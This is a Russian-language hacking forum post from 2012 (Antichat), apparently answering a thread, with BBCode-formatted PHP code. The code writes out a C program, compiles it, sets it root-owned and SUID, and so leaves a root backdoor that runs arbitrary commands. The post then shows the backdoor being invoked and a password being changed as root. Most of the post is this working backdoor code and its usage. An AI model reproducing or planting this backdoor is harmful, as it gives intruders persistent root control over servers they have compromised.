Показать сообщение отдельно

  #2  
Старый 14.08.2012, 15:40
Expl0ited
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами: 8328566

Репутация: 935


По умолчанию

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$suid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"#include

#include

#include

int main(int argc, char *argv[]) {

if(argc == 2) {

setuid(0);

setgid(0);

system(argv[1]);

}

return 0;

}

"
[/COLOR][COLOR="#007700"];

if(@[/
COLOR][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/tmp/suid.c'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$suid[/COLOR][COLOR="#007700"])) {

@[/COLOR][COLOR="#0000BB"]system[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'gcc /tmp/suid.c -o /tmp/suid;chown root:root /tmp/suid;chmod 4755 /tmp/suid'[/COLOR][COLOR="#007700"]);

}[/
COLOR][/COLOR
Создаст суидник от рута, работать с ним элементарно:

Цитата:
Сообщение от None  
$ /tmp/suid "id;whoami;uname -a";
Для смены пароля используй passwd:

Цитата:
Сообщение от None  
-bash-3.2# passwd
%username%
Changing password for user
%username%
.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.
 
Ответить с цитированием